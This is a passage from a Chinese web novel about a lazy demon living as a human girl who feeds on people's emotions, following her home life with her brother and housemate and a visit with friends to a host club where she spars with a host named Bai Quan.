属于男性的清越声线响起,紧接着手机被拿起,“偷·情暂停,现在还是工作时间,你等着吧——” 声音停顿在末尾,似乎看到什么,他哼笑一声,揶揄地吐出两个字:“小冬。” 旋即,电话挂断。 14. 第十四章 这声音贱贱的,有点耳熟。 我因为没听到银行卡密码气急败坏,等出租车来了,我坐上车,还想再试试,结果打电话过去没人接,我只能悻悻收手。 一天的收获颇为丰富,我回家狠狠玩游戏,等肚子饿得咕咕叫,才从手机里抬头。 饥饿是胃部的灼烧,比起乱七八糟的食物填充胃部还要令人难受。 饿得我丢下手机,彻底戒了网瘾,蹲在沙发上,像饿狼一样盯着门。 我那伟大的储备粮计划,到现在也没有任何进展,我不仅懒还挑食,成为人类后再也不想哄着食物提供者,懒惰在我身上生长,快要占据我的身躯。 可恶,想当初,我可是七宗罪全面发展的七好学生,哪像现在一头独大,严重偏科。 饥饿打断我的思绪,胃部不满地发出又一声呼唤。 好饿。我舔了下唇,终于在钟表时针指到二的时候,门外传来动静,比起之前的速度,开门明显慢了不少,但我已经迫不及待扑上去,狂啃起来。 哥哥艰难地转身,因为我缠在他背上,动作格外别扭,“小冬,等一下,先把人弄进去。” 我一探头,发现他前面的高大男人,此时双腿无力地支撑着,绯红从脸一直蔓延到脖子下,听到动静,迷迷糊糊地露出笑,脸颊上凹陷出酒窝,嘴里说些什么,但完全听不清。 我在进食的间隙让开位置,看着哥哥把浦真天搬进客厅,艰难地安置在沙发上。 哥哥放下人,端起水杯灌水,缓好后,才皱着眉向我解释:“晚上的工……工作应酬,他喝多了,等他缓一会,喝碗醒酒汤再扶他去卧室。” 我还没吃饱,像橡皮糖一样贴在哥哥背上,他蹲下身,让我趴在背上,任劳任怨地带着我进厨房,一只手扶着我,一只手拿餐具煮汤。 胃部填满后,我懒洋洋地看着他动作,鼻尖动了动,忽然迈进他的脖颈处,使劲嗅了嗅,发现今天的柠檬带酒。 我皱皱鼻子,说:“你身上也有酒味。” 哥哥停下动作,脖子上汗毛直立,他下意识捂住,闷声道:“我也喝了点。” 他放下手里的碗,抬起手闻了闻,迟疑地问:“臭吗?” “不好闻。” 我喜欢他身上肥皂的气息,不喜欢现在混杂着的各种气味,我看着他,坦诚地说:“我不喜欢。” 哥哥拧着眉,不适地摆弄衣领,像洁癖发作般抓挠手臂,等把醒酒汤煮上,他立刻放下我,拿衣服洗澡,因为担心洗澡时间过久,叮嘱我十分钟后关火。 火焰舔舐着锅底,空气中逐渐弥散起水果的清香,消散了酒气,等十分钟抵达,哥哥还没从沐浴间出来。 我关了火,懒洋洋地走到客厅。 浦真天躺在沙发上,抬起一只手臂遮挡着脸,露出张开的双唇,隐约可见白牙,他似乎很渴,喉结上下挪动,我靠近的时候,便能轻易地闻到浓烈的酒味。 像是有一瓶酒在他体内被打翻,从眼鼻喉里溢出。 我来到沙发边,居高临下盯着他,心念一动,我先看了眼卫生间的方向,确认水声没停,像做贼似的,低头在浦真天耳边说:“你的银行卡密码是多少?” 男人抖了下,迷瞪瞪地放下手,视线不聚焦,努力想要看清我。 半晌,他闭了闭眼睛,右手在半空中摩挲,碰巧勾中我的头发,他轻轻扯了扯,讨好地说:“妹妹,你别晃了,我头晕。” “我没动。” 我再次看了眼卫生间,又凑近他的耳边,小声地说:“快点说,你的银行卡密码。” 他受不了往后仰,敞开的衣领露出锁骨,柔软的阴影往下探,在胸部腾起又凹陷,眼尾耷拉着,迷糊地说:“什么?” 我狐疑地盯着他,“你是不是在装傻啊。” “抱歉。”浦真天扯了下衣领,疲惫地、歉意地说:“我的头很晕,听不清你在说什么,对不起,妹妹,对不起。” 他的眼睛闭上,嘴里又是喊我,又是说对不起,像只蚊子在耳边胡乱地飞舞。 我想起厨房里有醒酒汤,忙不迭盛了一碗,急切地端到他嘴边,命令他张开嘴,不等他开口,我直接灌了进去,他被呛到,撕心裂肺地咳嗽起来,醒酒汤全洒在胸口,衬衫洇湿一片。 浦真天努力地眨眼睛,终于清醒了点,看着我,迟疑地说:“小冬?你怎么在这……不对。” 他抬头打量四周,发现在家里,彻底放松下来,抬起手擦脸上的水,脸颊上仍然浮着一团红。 “对不起啊,又给你和明子添麻烦了。” 他虽然是这个家的主人,却总是在道歉,不像是收留我们的人,而是被我们收留的。 “你还记得在电话里跟我说了什么吗?”我故作玄虚,想看看他到底醒没醒。 浦真天有一双棕色的眼睛,在灯下像是流动的蜜糖,视线在空气中漂浮,最后凝聚在我的脸上,我看到他的瞳孔收缩了下,语气迟疑,“我说了什么不好的事吗?” “不是,是很重要的事,你忘了。” 他应该是真的清醒了,我在心里可惜,刚想直起上半身,忽然嗅到甜滋滋的气息,口中唾液率先反应过来,舌尖品尝到甜。 我顿在原地,舔了下唇,视线再次看向沙发上的男人。 浦真天放缓呼吸,抬起手想遮住自己的脸,但强忍住没动,小声地问:“怎么了?” 我在审视他。 从上到下,认真地观察着他。 他手指蜷缩,别着脸,局促地摸后脑勺,“很邋遢吧,我马上去洗澡。” 他的手臂线条分明,肌肤在灯光泛着光泽,像是一块即将融化的巧克力,让我忍不住升起其他的欲望。 按理说,我不喜欢这种体型的男性,他们肌肉过于健硕,但放在浦真天身上,却有一种莫名的感觉。 他更加局促,理了下头上的浅金色头发,想要遮挡住我的视线,视线想碰的瞬间,立刻往旁边看去,咳嗽几声,假装很热地整理衣服。 “我喜欢黑色。”我突然说。 他愣了下,手还摸着头发,迟疑道:“发色吗。” 我说:“对。” “染回黑色吧。” “……好。”他应声,手指动了下,试探着勾起我的头发,小心翼翼地观察,抬眼看着我,像是陷入梦中,语速缓慢,“黑色果然很好看,很适合你。” 我用食指戳他的手,他像是被烫到般缩手,向后靠去,仰靠在沙发上,用手背遮住脸,视线从指缝中漏出,像被磁铁吸引住一般,不受控制地移向我。 奇怪啊。我想,消失十几年的色心怎么突然现形,害得我牙齿痒痒的,想要咬点什么东西发泄。 我们对视好几秒,浦真天没忍住笑了起来,脸颊浮现出酒窝。 我伸手,戳进柔软的凹陷,再用力一点能感受到口腔里的牙齿,尖锐的虎齿。 他愣住了,轻微挪动下颌,牙齿的触感在我的手下移动,感觉很奇妙,就像是把手指伸进他的口腔里,手指下触感温热。 我没忍住说:“真像啊……” 浦真天任由我戳着,不敢动弹,梗着脖子看我,傻不愣登地问:“什么?” “小黄。”我说,“一条狗。” 它是小花的孩子,最喜欢用舌头舔我的手指,含着我的手指轻轻地咬,我还记得它那双棕色的眼睛。 如果动物的爱也能成为食物,它一定让我饱餐一顿。 但它消失了,在搬家之后的某个下午,从家里出去,再也没回来过。 房间里静悄悄,卫生间里的水声不知何时停止,屋外的蝉叫个不停,遮掩住开门声。 我听到细微的动静,转头看去,对上哥哥黑沉的眼睛。 他的头发在滴水,面无表情地站在原地,换上的睡衣领口被水打湿,洇湿成更蓝的颜色。 浦真天也跟着我的视线看去,他瞬间僵直身体,磕巴地说:“明子……” 他赶紧起身,讪笑道:“刚才我喝醉了,妹妹给我端汤呢,我不小心打翻碗,就变成这样了。” 他越说越慌乱,不小心咬到舌头,倒吸一口凉气,眼巴巴地看着哥哥,含糊不清地解释。 “浦哥。”哥哥突然开口,终止了他的话,冷淡地说:“你喝醉了。” “早点回房间睡觉吧。” 一句话将浦真天堵得哑口无言,他愣愣地点头,抿了下唇,苦笑道:“是啊,我喝醉了,连自己在做什么都不知道……” “对不起。” 他干巴巴地说完,沉默地整理衣衫,垂着头从我面前走开,径直回到房间,关上门。 我的视线仍然盯着紧闭的门,但哥哥遮挡住它,让我不得不移开目光。 哥哥来到沙发边,抽了几张纸,勤恳地擦拭地上的醒酒汤,然后又去门口收拾残局,把客厅打扫个遍,上上下下清扫赶紧,最后落座我的右边,占据前不久浦真天的位置。 我懒散地坐着,斜靠在他身上,抬手触及湿润,发现他的头发还没干。 “你为什么不吹头发?” “等会就会干,不想打扰你看电视。” 我哦了一声,继续盯着电视机屏幕,只是把头挪回沙发,没有再靠着他,片刻后哥哥起身离开,去卫生间里吹头发,吹完再回原位。 我先摸了摸他的头,确定干燥后,才重新靠了上去。 我们坐在沙发上看完整部电影,后半段我已经哈欠连天,原本蠢蠢欲动的欲望彻底熄火,躁动消散大半,对紧闭的卧室门失去兴趣。 电视机播放着片尾,人名滚动至尾端,我趴在沙发上不想动,嘟囔着让哥哥把我搬回卧室。 哥哥摸着我的头发,轻声道:“小冬,我们会一辈子在一起吗?” 我的耳朵动了动,假装没听到,继续耍无赖要他搬运我,用双手捂住耳朵,大叫着:“你不帮我,我就要霸占你的床!” 他犟不过我,任劳任怨地背我回房间,给我打开空调,掖好被子。 等房间黑下来,我翻身准备陷入美梦时,一道淡蓝色的光还打在 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那天我还是没有看到浦真天,他明明住在家里,但活得像是在另一个世界。 我问哥哥,他只说最近工作很忙,浦真天要晋升了。 我的朋友们考得都还不错,潘小谷上了另一个城市的重点大学,学的是土木工程,苏音仪在本地选了个医科专业有名的大学,而卫菱要当警察。 她高兴得不行,还是装矜持抱怨说才染的头发要剪,而潘小谷说她是早知道,所以才只弄了挑染。 每个人都有光明的未来,我作为恶魔,只想家里蹲。 她们三个在群里讨论来讨论去,想了几百种方法安排我的未来,都被我用“不想”、“懒得动”和“太累了”否定掉,最后她们也没辙了,打算以后轮流用退休金给我养老。 经历了父母赌博、高利贷欠债、穷困潦倒、高考等等事情后,我终于意识到了一件事。 ——我好像有点太废了?! 我痛定思痛,下定决心要改变。 首先,第一步:找个工作。 第二步:找几个储备粮。 第三步:退休。 我的计划周密无比,没有任何纰漏。 找工作的同时可以找储备粮,找到储备粮之后,就可以靠吃垮他们来退休。 至于之前说要当有钱人啥的,那就是退休的进阶版——升阶! 我把制定完的计划表发给潘小谷她们,得到了三个“……”,好长一段时间后,才开始稀稀拉拉地表扬。 作为学生的漫长时期结束了。 接下来是作为无业游民的我! 找工作的第一步,在我早起失败后,结束了。 我顶着乱七八糟的头发,在床边以思考者的姿势坐着,足足坐了十分钟,也没没想到为什么早起这么难。 都怪麦景,我的作息颠倒了几个时区。 于是我决定调整计划,先进行第二步! 洗漱完,我开始思考哪里有很多有钱人,最好一口气可以见很多!但思来想去,我能去的好像就只有高档小区门口、奢侈品商店门口和随便哪条路边。 算了,降低标准吧。我对自己说,反正有个柯觅山当备选,先找找容易得手的吧。 新的问题出现了。 长得帅的人会出现在哪里呢? 我左思右想,在沙发上坐立难安,时而垂头,时而叹气,时而顿足,但硬是没想到一个地方,一个聚集很多帅哥、很容易得手的地方。 因为我动来动去,沙发的夹缝里掉出一个东西,材质是硬的,落在地板上有响声,我探头去看,发现是个暗红色的长方形物体,薄薄的,像一张名片。 我把它捡了起来,[极乐世界]四个字落进我的眼中。 我的耳边响起那句不着调的话。 ——“去能获得爱的地方。” 我想了想,拍张照片发到群里,打了个措手不及,让正在讨论去哪旅游的三人反应不过来。 [潘小谷]:你竟然没丢! [苏音仪]:你的也没丢吧,别以为上次我没看到你偷偷塞进兜里,做人要学会忍受诱惑啊,潘小谷 [潘小谷]:你也没丢吧 [苏音仪]:怎么会,我早丢了 [卫菱]:说谎会被贱男缠上,我们劝你诚实 [苏音仪]:…… [苏音仪]:好吧,我没丢 [苏音仪]:我只是觉得神奇,想留个纪念而已!! [潘小谷]:发这个的意思是?@世界第一恶魔大人 [世界第一恶魔大人]:我要去这 群里瞬间炸了锅,一时间,屏幕上全是问号。 屏幕之外,我看着红色的名片,满意地摸着下巴。 [极乐世界]是吧? 我来了! 15-20 第15章 经过激烈讨论?, 她们?三个拍案决定,陪我一起去[极乐世界],绝对不能放任我被男公?关拉入深渊。 在出发前,潘小谷私联了我。 [潘小谷]:你看上那个男公?关了? [世界第一恶魔大人]:谁? [潘小谷]:就是那个特别小气, 浑身五金的 我脑中浮现出叮当作响的背影, 以及那个假戒指, 现在还?在我兜里,我深有感触——世界上最可怕的不是穷男,而是装富的穷男。 [世界第一恶魔大人]:我不能接受他的品行?,太坏了! [潘小谷]:? 她的名字旁边显示输入中, 删删又减减,好半天才?试探性地发来消息。 [潘小谷]:那你难过吗? [潘小谷]:没有别的意思,只是担心你的情绪, 可别学小说,冲动去找个不干不净的男人 [潘小谷]:有什么事?可以跟我们?说 我想了想,发现的确有点?难过,作为恶魔我太废物了!换个魔, 可能早就统治人类了! [世界第一恶魔大人]:呵呵呵呵呵呵呵呵呵 [世界第一恶魔大人]:不值一提! 等见面时,潘小谷时不时看向我,眼神里充满了担忧,像是害怕我做出奇怪的行?为似的, 对我比平常还?要包容。 我摸不着头脑, 但坦然接受了。 来到[极乐世界]时, 时间接近傍晚, 城市正好亮起灯,五颜六色的霓虹灯在高楼间闪烁,大字牌尤其的亮。 我和潘小谷三人站在路边, 面面相觑,[极乐世界]就在我们?不远处。 由于大门过于金碧辉煌,配备西装革履的、不知道是门卫还?是迎宾员的男人,我们?踟蹰地站在门口,不敢进去。 她们?激烈地讨论?,进去到底需不需要验资收钱,而我则在数面前经过的豪车数。 分不清牌子不要紧,我只看哪个外壳光亮,只要颜色漂亮、线条流畅,通通打为豪车。 等她们?讨论?完,我已?经数到第二十辆了。 潘小谷:“我们?直接去问?。” 她推了下卫菱,但卫菱反手掏出口罩,“我不行?,万一留下案底怎么办,我要小心行?事?。” 最后任务落在苏音仪身上,她抓耳挠腮,最后接受命运,两眼一闭,朝着门口穿制服的男人靠近,不知道说了些?什么,指了一下我们?,让过去。 我跟在潘小谷后面,听着她们?和男人说话。 男人看了一圈,狐疑道:“你们?确定都成年了?” “身份证,给。”潘小谷掏出准备好的物品,杂七杂八的纸张叠在一起,甚至还?有高考准考证。 男人拿起一看,嘴角抽搐,把?东西全部还?回去,再次从左到右依次打量我们?,宽容地松口道:“成年就好,我们?不限制人进入。” “不过,我要先提醒一下,消费要适度哦。” 他抽出几个黄色的手环,挨个递给我们?,“戴着,里面有人领你们?去位置上。” 在进去前,后面来了新的客人,他笑容满脸迎了上去,我眼尖看到他口袋里还?有许多?其他颜色的手环。 进入建筑的第一感觉是冷,凉气开得很?足,幽幽的冷气从头顶降落,像无形的雨淋了一身,室内灯光昏暗,在红色和蓝色之间变换。 潘小谷她们?缩在我身后,像个鹌鹑似的,原本说话不停的三人,在进入室内后,每个人紧闭着嘴,战战兢兢地打量四周。 “靠。”卫菱差点?撞到走廊上的花瓶,心有余悸地摸着胸口,“差点?就要破产了。” 她小心翼翼将花瓶扶稳,担忧地说:“消费会不会很?高啊,我们?付得起吗?” 苏音仪咬咬牙,“我们?点?最便宜的,反正只来一次。” 来到走廊尽头,声音从前方飘来,音乐声、谈话声和笑声一起传了过来,她们?不敢往前,压低声音讨论?到底会花多?少钱。 我闲不住,好奇地往里面看。 一楼大厅里摆放着低矮的沙发,沙发后面靠背像是蜿蜒的蛇,连成一片盘踞在大厅中,各色的人坐在围成的半圆形里,造型各异的男人穿梭在座位间,像是停不下来的蜜蜂。 这里的温度比外面的高,空气也是暖乎乎的,漂浮着淡淡的香气。 我刚探头进去,一个站在大厅旁边的男人眼睛亮起,蹭蹭蹭走到我面前。 “是新客人吗?请跟我来。” 原本在讨论?的三人瞬间噤声,跟在我后面,在男人的引领下走到角落里的位置,这里离中心比较远,周围也没什么人。 我东张西望,以研究性的态度摸索着座位,又抬头去看其他位置上的人,就在斜前方不远处,有几个人正在嬉笑,似乎开了香槟,拿出礼花筒,砰砰砰撒出彩片,大声地庆祝着。 “开香槟了啊……肯定很贵。”苏音仪探头探脑,肉疼地说:“咱们?少点?些?,千万不能给他们?点?香槟。” “都没人管我们?,怕不是看出来我们?很?穷。” 潘小谷晃了晃手环,“是不是和颜色有关系,我看其他人好像不是这个颜色。” “怎么还?没人,要不然我们?接点?水吧——” 卫菱刚想起身,一个脸上扑了很?多?粉的男人像鱼似的,动作轻巧地来到桌子旁,熟稔地端起水杯,给我们?倒水。 “新面孔,你们?第一次来?” 他提起嘴角,眼睛几乎眯成两条线,格外刻意,像是对着镜子练了很?多?次。 灯光晦暗,我看不清他到底长什么样,偶尔有流动的光落在他的脸上,只看得出来脸色卡白,妆粉气重。 他坐在我旁边,故意上半身越过我,去勾桌上的单子,拿到手后斜了我一眼,压着嗓子笑,“你们?看着都很?青涩呢,刚成年吧,这里正好适合你们?找乐子,想喝点?什么?” “我比较推荐水果鸡尾酒,你们?应该会喜欢。” 我看着他手指的地方,倒吸一口凉气,1888,不如?出去抢劫。 我盯着他,更加搞不懂情况,我进这是为了看帅哥、吃免费大餐的,怎么还?让我花上钱了?而且他到底长啥样,我现在还?没看清。 虽然消瘦、穿着笔挺的制服,但是总感觉哪里有问?题,每次我看他,他笑容盈盈,但总是往后缩,若有若无地露出下颌线,企图用侧脸迷惑我。 头顶的灯光刻意被调暗,只能看到若隐若现的面部轮廓。 “呃……我们?先想想吧。”潘小谷缩了下脖子,拿起单子和身旁的苏音仪讲悄悄话,卫菱也凑了过去,她还?戴着口罩,警惕地打量四周,防止有人突然拍照。 男人找我搭话,单手撑着桌沿,有些?刻意地凹造型:“我的艺名是双木,你可以叫我林。” “刚才?你进来的时候,我就注意到你了,很?少见像你们?这样年龄的女孩子来这,是因为寂寞吗?” 我的身体往后靠,盯着他的脸,疑惑地说:“你们?卖酒不能实名制吗?” “呵呵呵真?可爱呢。” 他莫名笑了起来,双手交叉,斜睨着我,“在这里,谁都可以抛弃名字,只用代号,忘记现实的困扰。” 他说完,偏着脸看向我,人碰巧一束光照到脸上,连眼线也照得清清楚楚。 我再次倒吸一口凉气,遭受视觉惊吓。 哇塞,丑成这样? 我的手指颤抖,难以置信地问?:“你们?这,只有你这样的吗?” 我明明记得当初搭讪的那个,长得挺好看的啊,难不成是我眼瞎了? 他哽住了,几秒后,迷瞪瞪的眼睛睁大,反问?道:“你不满意?” 我:“?” “不、啊,我不是那个意思。”他疯狂摆手,收起搭在桌上的手臂,陪笑道:“我的意思,你是不是不满意我这个类型,我算是D类男公?关,如?果你不满意,可以立马换人来。” 对着单子讨论?的几人停了下来了,齐刷刷地向艺名为双木的男人看去,异口同声说:“D类?” 潘小谷忍不住开头:“你们?还?有食品安全等级啊。” “哎呀,上班有职位,男公?关也有等级,很?正常嘛,像我这样的就是D类,长得越帅,能力越高就会被划分到其他分类,也有凭借销量破格升级的,但是那是少数。” 他自嘲地摇摇头,“我知道我什么长相,才?申请到灯光暗的地方工作,亮的地方和二楼我根本上不去。” “呃……那你挺辛苦的。”苏音欲言又止,最后勉强吐出安慰的话。 “可不是嘛,最近来了个强力新人,一个月没到销量就上了排行?榜,哎,我的压力也很?大啊,没有人看得上我,很?难混口饭吃。” 双木摇头叹气,肩膀耸动两下,像是伤心得不能自已?。 我有点?嫌弃,往旁边挪动。 双木的动作顿住,抬起头时脸上一滴泪也没有,嘴唇蠕动,最终图穷匕见:“你们?可怜可怜我,点?瓶香槟吧,只要2888,我给你们?打个折,1888怎么样?” 这明明就是单子上的价格。 我冷笑一声,也摊牌了:“我们?也很?穷,只能买白开水。” 他霎时变了脸色,眼睛瞬间放大,也不别着了了,双手搭在腿上,转头啧了声,“那你们?来这干嘛,这可不是小孩子该来的地方,奇了怪了,门卫怎么放你们?进来的……” “有人发名片,我们?就来了。” “谁眼睛那么瞎,看不出来你们?很?穷吗。” 双木抱怨道,知道在我们?这捞不到,倒完白开水就离开了,动作迅速,丝毫不拖泥带水。 潘小谷松了口气,有点?不爽地说:“怎么还?瞧不起我们?,穷怎么了,穷就不是客人了?哼。” “男人好现实。”苏音仪吐槽道。 “正常啦,都男公?关了。” 卫菱端起水杯,刚想喝水,却被口罩挡住,于是把?水杯放了回去,她想到什么,转头问?我:“那天的男公?关,你知道他是谁吗?” 我:“不知道。” “不是说排行?榜吗,我们?等回去拿花名册看,总能找到。” 我点?点?头,重新拿出名片看了起来,心里很?失望,长得好看的没看到,甚至还?想我花钱,简直可怕,压根就不是那个潮男说的,食物的气味一点?也没有! 我耸动鼻尖,一边用力的感受空气中食物的气息,一边抬起手,将名片放在光下观察。 忽然,我嗅到了什么,转头望向气味出现的方向。 “嘭!” 礼花筒拉动的声音炸响!哗啦啦的鼓掌伴随着呼唤声,位于中央的座位上,几个男人举着香槟,欢歌载舞,吆喝着香槟塔、香槟塔…… 穿过人群,幽蓝的光降临在黑发男性身上。 我缓慢睁大眼睛—— 作者有话说:日万无能,我只能保底日更,呜呜呜呜呜呜呜呜呜[爆哭],跪下来给每个读者宝贝**,不要离开我这个文盲啊! 第16章 黑发绿眼, 五官立体深邃,混血儿长相的年轻男人有意无意地看向?中间的女人,嘴角噙着暧昧的笑。 礼花筒的彩屑哗哗掉下,他蓦地转过头, 视线和我撞在一起。 他略微诧异地抬起眉, 嘴唇上有光闪过, 不仅如?此,眉骨上也亮着,幽蓝的光很快移向?别处,阴影吞没?了他的脸。 是五金男啊。 我又?动了动鼻尖, 但什么也没?闻到,刚才的熟悉感转瞬即逝,像是错觉。 我继续观察着名片, 感觉脑袋痒痒的,好像忘记什么事了……是什么呢? 在我思考之际,又?有几个男公关来到附近,打?扮尤其成熟, 胸口敞开大片,上来就问要不要喝几杯,但他们卖的酒比前不久的D类要便宜,在知道我们没?钱后, 还故作宽容地说可以借钱, 也可以分期付款。 苏音仪赶紧打?发掉他们, 转头吐槽道:“真是一个人一个家, 这个单子是哪来干嘛的?唬人的吗?” “也算是高档消费地区了,总是要装一下的。” 潘小谷放下手机,说出在手机上的发现, “这家店五年前开始营业,还有媒体来做过采访,不过老?板的脸打?了马赛克,不知道是谁。” “报道名叫《首年营业额百万?!女人的温柔乡——男公关们的秘密》。” 她?说完,嘀咕道:“怎么头牌的照片也打?了码,不应该露出来,吸引客人吗?” “可能是不想被?认识的人发现。” 卫菱想了想,认真地说:“当男公关是不是就不能考公了?” 苏音仪烦躁地挠头,语气?十分不爽:“都下海了还考什么公,他们来钱可不要太轻松,长成这样也能当男公关,到底谁在给他们花钱。” 我抬头张望,观察后得出结论:“在其他桌,他们貌似只是氛围组。” 灯稍微亮的座位,平均一个桌围了四、五个人,长相越模糊的靠得越远,主要负责吆喝和递酒。 所以,主要还是因为我们太穷了。 计划的第?二步,大概也要泡汤了。我想。 要不然还是忍忍,继续跟柯觅山聊天?吧,他作点也就作点吧,至少?有钱,包容一下也不是不行。 我拿起手机,点开和柯觅山的聊天?页面,发送:在吗? 对面正好秒回。 [柯觅山(有钱)]:在 [柯觅山(有钱)]:手机修好了? [世界第?一恶魔大人]:要和你聊天?,它自然是要好的 [柯觅山(有钱)]:哦?看来我还有调试网络的功能^^ [柯觅山(有钱)]:学妹最近在做什么?高考结束,是不是应该放松一下。 他是在阴阳我吧,绝对是在阴阳我吧。 我白眼差点翻上天?,按着键盘,敲打?出[极乐世界]四个字,但还没?发送,一只手忽然横空出现,遮挡住屏幕。 这只手指节修长,皮肉偏薄,青筋淡淡地凸起,手指根部圈着银色的戒指,五根手指只有无名指没?有。 我顺着手抬头看去,五金男不知何?时来到旁边,而后面的潘小谷她?们看天?看地,假装很忙,没?一个人说话。 “来了怎么不叫我。” 他神态自若,一屁股坐在我旁边,右手自然地搭在椅背上,微微偏头,勾起嘴角笑了下,“毕竟你是因为我才来的嘛。” 唇环跟着他笑容的弧度扬起,亮光一闪而过。 “白泉。”他说,“我的名字。” 看到他,我的火气?猛然蹿上天?,冷笑出声:“还说是真货,能被?磁铁吸住的戒指哪里是真货了,修下你的眼睛吧。” 我抱着手臂,斜着眼睛看他,势必要做足傲慢的姿态,从柯觅山那失去的,我一定要夺回来! “不可能。” 白泉瞬间不凹造型了,眉头聚拢,两颗眉钉也跟着动,义正言辞地说:“我那还有发票,怎么可能是假的?” “就是假的!”我反驳道,转头向?潘小谷她?们寻求帮助。 “昨天?是不是拍视频了,把视频拿出来给他看,他还不承认是假货。” 她?们愣住了,然后你推我,我推你,推出一个潘小谷,她?讪笑着,唯唯诺诺地翻手机视频,找了到立马把手机丢给我,不敢靠近丁点。 大概是犯潮人恐惧症了,三个人缩在角落里不吭声,低头玩着手机。 我握着潘小谷的手机,用?左手拖动进?度条,将视频暂停到磁铁吸到戒指的瞬间,像战胜的将军,扬眉吐气?,得意地说:“你看,瞬间就吸上去了。” “……” 白泉眉眼压低,恼怒地说:“狗·日的邛浚,竟然敢用?假货耍我!” 他生气?地掏出手机,噼里啪啦一顿敲,嘴里念念有词,我探头看他的手机屏幕,被?他丰富的词汇震惊了,简直比宗朔还要离谱! 白泉输出了几分钟,终于发泄完,他收回手机,不爽地抖腿,用?虎牙咬了下唇环,解释道:“我确实付了一万五,但没?想到被?中介给骗了,他拿五块钱的东西耍我,下次我直接去店里买,我给你说,我不是个假货男,我付的是真货的钱!” 我猜他可能没?用?过真货,要不然怎么分辨不出来,肯定还是个穷鬼。 我无声地鄙夷他,但白泉不知道为什么察觉出来,气?笑了,从兜里掏出手机,对我说:“我给你看我的余额,绝对买得起十个正品戒指!” 他调出余额界面,不由分说递到我脸上。 我瞬间坐直身?体,认真地数位数,确定真的有六位数。 怎么说呢。虽然有六位数存款,但实际上两个包就解决了,我也是见过大场面的人,几十万压根不能让我震惊,于是平淡地说:“也就这样吧,一般般。” 白泉斜睨我一眼,情绪平复下来,又?变回没?个正形的样子,哼笑道:“那你很厉害咯,今天?不点些什么,说不过去吧。” 他想把我架在高位,但我早有应对之法。 我看着他,诚实地说:“我没?钱。” “……” 他顶了下腮,像牙痛似的,压低的眉毛上挑,颇为感兴趣地盯着我,“那你来这干嘛,真是来寻求真爱的?我那是骗你的而已,这个地方?可没?有真心,只有骗子。” 我:“这句话也是在骗我吗?” “你这人油盐不进?是吧。”白泉倒吸气?,烦躁地想薅头发,但是打?了发胶,手悬停在头上,最后拍向?大腿,有气?无力地说:“我服了你了,当时我就不该去你面前,真是鬼迷心窍……” “你以为我想来啊,只是碰巧名片掉出来了。” 哪知道男公关不是丑货就是穷鬼,帅的还要骗人,作为人类毫无道德可言,虽然我也没?道德,但我不允许人类没?有。 我在兜里摸索一阵,掏出兜里的戒指,用?商量的语气?说:“既然这个是用?一万五买的,那它的价值就是一万五,所以你买回去吧,给我一万五就行。” 我瞪大眼睛,十分真诚地注视着他,看着他嘴角抽动。 “你有够势利眼的。” 他抱着双臂,不屑地偏着头,邪恶地说:“我就不买,不给你赚钱的机会。” 白泉挑起一侧眉,自认为看破玄机似的,慢悠悠地说:“而且我好像没?给你名片吧,你就是自己想来,别装了。” 蓝色光斑一闪而过,溜进?绿色眼睛里,点燃光亮,但很快又?回归沉寂,在阴影里隐隐作亮。他得意地昂起下巴,用?下目线看着我。 我怎么能让他污蔑我,笃定地说:“你肯定给我了,要不然我怎么有呢?!” “我没?给你,我压根没?想拉你这个客!”白泉嘴快说完,眉宇间闪过懊悔,啧了声,摆着脸说:“我没?给你,是你记错了。” “你给了。” “我没?有!” “你给了。” “我没?——啧,都说了没?有,是你朋友给你的,你忘记了。”他势必要证明自己的清白,拧着眉,一脸不爽地朝旁边喊:“你们谁给她?的,快点给她?说,我明明只给了你们三个,可不要污蔑我。” “呃……”潘小谷挠挠脸颊,面带疑惑地说:“可是我们的也在啊。” “对哦。苏音仪还把它贴进?手账本里了。”卫菱思考道,“我的也放在抽屉里的。” 苏音仪用?手鼓捣了下卫菱,用?眼神示意她?不要乱说,依旧板着脸,自从白泉过来,她?就如?临大敌,浑身?上下写着警惕。 白泉的话我不信,但潘小谷她?们的我信,她?们从不会骗我。 于是我陷入思考,疑惑道:“那我是哪里来的。” 白泉拿到把柄,得意地说:“别装了,你就是想来而已。” 这幅嘴角贱得出奇,我愤愤地盯着他,想乘他不注意,偷摸肘击两下,碰巧这时有人叫他,说什么二楼的客户到了,需要现在上去准备。 “凭什么先叫我,那几个人呢?” 来人讪笑,刻意挤眉弄眼道:“你知道嘛,新来的自成一派,都清高。” 白泉不爽地啧声,嘟囔着说:“两个装货。” 他站起身?,咬了下唇环,偏头对我说:“闲聊结束,我要去上班了,下次再聊吧。” 来人看向?我们,问:“她?们点你了吗?好像没?记出台费。” 他看了眼桌面,惊讶地捂住嘴,有些刻意地说:“诶,怎么一杯酒也没?点?” 我觉得他的表情有些做作,像是故意在内涵白泉似的。 果不其然,白泉眉头紧蹙,扫了来人一眼,语气?冷淡,“她?们是我拉的客户,我只是路过来聊天?而已,我怎么感觉今天?店里客人比平时少?,看来是有人没?有努力工作,业绩为0。” 男人笑容僵硬,随便找个借口走开了。 白泉冷笑一声,不屑地说:“区区一个C级,还想表我。” 两个男人就能有一台戏,我看得津津有味,感觉今晚也没?那么无聊,至少?能看到男人扯·吊,不虚此行。 撕完人,白泉没?有立即离开,而是站在原地,欲走不走,杵着高个遮挡住我的视野,我本就对他不爽,乘机推搡他,“你到底走不走,要走赶紧走。” “你急什么,我在等消息。” 他站稳身?体,也没?有后退一步,拿起手机看了起来,身?上的五金饰品哗啦响,“那两个爱偷懒的人还没?去,我去干嘛。” 白泉理?直气?壮坐下,翘着腿说:“今天?我就是要当最后去的。” “我倒是要看看他们什么时候来。” 他转头看向?右侧,大有一副屁股生根的架势,我也跟着看去,猜那边是他们的员工休息室。 白泉忽然转头,眉头微蹙:“你在看什么?” “看你在看的啊。”我说。 他无言以对,又?开始抖腿,淡淡地说:“你真来找男公关?你不是没?钱吗。” “我看几眼又?不要钱。” 察觉到能气?到他,我直接转过身?盯着那处,专心致志地看。 “喂,你是故意的吧。”他有些炸毛地叫。 我假装听不到,默默地爽了,我要做个叛逆的恶魔,气?死所有人。 就在这时,我的胃准点开始响,饥饿感再次涌上,灼烧着我的灵魂,我下意识地皱了皱鼻子,想要捕捉食物。 起初,我闻到了崭新的、未曾尝过的新口味,像是彩虹糖,甜得过分腻人,气?息很近,就来自身?旁抖着腿哗啦作响的人。 我刚转过头,熟悉得可怕的气?味涌入鼻腔,身?体比大脑更快反应,在我反应过来时,柠檬味顺着喉咙往下,抵达胃袋,仅仅几秒,我的胃部就装入了无形的情感。 